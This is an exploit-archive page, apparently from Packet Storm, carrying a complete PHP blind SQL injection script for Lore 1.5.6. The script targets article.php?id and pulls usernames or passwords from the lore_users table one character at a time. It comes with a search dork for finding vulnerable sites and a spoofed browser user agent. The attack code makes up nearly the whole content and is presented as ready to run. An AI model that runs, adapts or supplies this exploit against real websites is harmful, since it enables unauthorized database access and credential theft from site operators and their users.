what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Lore 1.5.6 SQL Injection

Lore 1.5.6 SQL Injection
Posted Jan 28, 2009
Authored by OzX | Site foro.undersecurity.net

Lore version 1.5.6 blind SQL injection exploit that uses article.php.

tags | exploit, php, sql injection
SHA-256 | 162b37cc90e2e08478870b1b63ede365f3f9d5b90c5d9ec360711e24376edc55

Lore 1.5.6 SQL Injection

Change Mirror Download
<?
/* *** CURL HABILITADO ****
Blind Sql Injections
Script Version : >Lore 1.5.6
Bug : > article.php?id=Blind ,Comentarios Habilitados * "Add Comment"
Dork : > intext:"Powered by Lore 1.5.6"
Coded By OzX[NuKE/US]
HTTP://FORO.UNDERSECURITY.NET
HTTP://FORO.EL-HACKER.COM
Gracias C1c4tr1z,Tecn0x,Lix,1995,N0b0dy,NanonRoses,Codebreak(?),Nork,Azrael[NuKE] && Todos los Miembros de UnderSecurity.net
100% CHILE

*/

set_time_limit (0);
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}

function contar($host){
return count(explode("\n",GET($host)));
}
function sql($sql,$i){
return "+and+ascii(substring((".$sql."),".$i.",1))=";
}

function genera_ansii(){
for ($x=45;$x<=122;$x++){ //0-9 a-z && _
if ($x==47){ // /
$x++;
}
if ($x==58){
$x=$x+37;
}
if($x==96){//sacamos el '
$x++;
}

$ansi[]=$x;
}
return $ansi;
}

$url = $argv[1];
$id = $argv[2];
$opt = $argv[3];

if (count($argv)!=4){
echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";
echo "USO :> php ".$argv[0]." url id -u [Obtener Usuario]\n";
echo "USO :> php ".$argv[0]."p url id -p [Obtener Password]\n";
echo "Ejemplo :> php ".$argv[0].".php http://www.website.com/article.php?id=009 1 -u \n";
}else{

preg_match_all("/(comment\.php\?article_id)/", GET($url), $dat, PREG_SET_ORDER);
if (!$dat){
echo "ERROR NO VULNERABLE | POSIBLEMENTE COMENTARIOS NO HABILITADOS\n";
}else{

echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n";
if ($opt == "-u"){
$var = "username";
}elseif($opt == "-p"){
$var = "password";
}else{
echo "[+] Parametros Incorrectos \n";
exit();
}

echo $var.":\n";
$ansi = genera_ansii();
$query = "select+".$var."+from+lore_users+where+id=".$id;
$original = contar($url);
$i=1;
for ($x=0;$x<=count($ansi);$x++){
$var = $ansi[$x];
$urlblind = $url.sql($query."+limit+0,1",$i).$var;
$blind = contar($urlblind);
if ($blind == $original){
$name.=chr($var);
//system("clear"); //Linux
echo " :> ".$name.chr(8);
$i++;
$x=-1;
}
echo chr($var).chr(13);
}
echo "\nResultado :> ".$name."\n";
}

}


?>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close